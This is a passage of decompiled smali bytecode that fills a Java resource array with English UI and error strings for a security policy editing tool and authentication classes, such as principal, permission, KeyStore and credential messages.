                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "Add Public Key Alias"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "Remove Public Key Alias"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "File"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "KeyStore"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "Policy File:"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "Could not open policy file: {0}: {1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "Policy Tool"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "Error"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "OK"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "Status"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "Warning"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "Permission: "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Principal Type:"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Principal Name:"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "Target Name: "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "Actions: "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "OK to overwrite existing file {0}?"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "Cancel"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "CodeBase:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "SignedBy:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "Add Principal"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "Edit Principal"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "Remove Principal"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principals:"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " Add Permission"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " Edit Permission"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "Remove Permission"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "Done"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "KeyStore URL:"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "KeyStore Type:"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "KeyStore Provider:"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "KeyStore Password URL:"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principals"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " Edit Principal:"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " Add New Principal:"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "Permissions"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " Edit Permission:"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " Add New Permission:"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "Signed By:"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "Cannot Specify Principal without a Name"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "Permission and Target Name must have a value"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "Remove this Policy Entry?"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "Overwrite File"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "Policy successfully written to {0}"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "null filename"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "Save changes?"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "Yes"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "No"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "Policy Entry"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
                                                                              2340const-string v3, "Save Changes"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "No Policy Entry selected"
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "Unable to open KeyStore: {0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "No principal selected"
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "No permission selected"
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "name"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
                                                                              2394const-string v3, "configuration type"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "environment variable name"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "library name"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "package name"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "policy type"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "property name"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "provider name"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "Principal List"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "Permission List"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "Code Base"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "KeyStore U R L:"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
                                                                              2493const-string v3, "KeyStore Password U R L:"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "invalid null input(s)"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "actions can only be \'read\'"
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "permission name [{0}] syntax invalid: "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
                                                                              2538const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "Principal Name missing end quote"
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "CredOwner:\n\tPrincipal Class = {0}\n\tPrincipal Name = {1}"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "provided null name"
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "provided null keyword map"
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "provided null OID map"
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "invalid null AccessControlContext provided"
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "invalid null action provided"
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "invalid null Class provided"
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "Subject:\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal: "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\tPublic Credential: "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\tPrivate Credential: "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "Subject is read-only"
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "attempting to add an object which is not an instance of {0}"
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
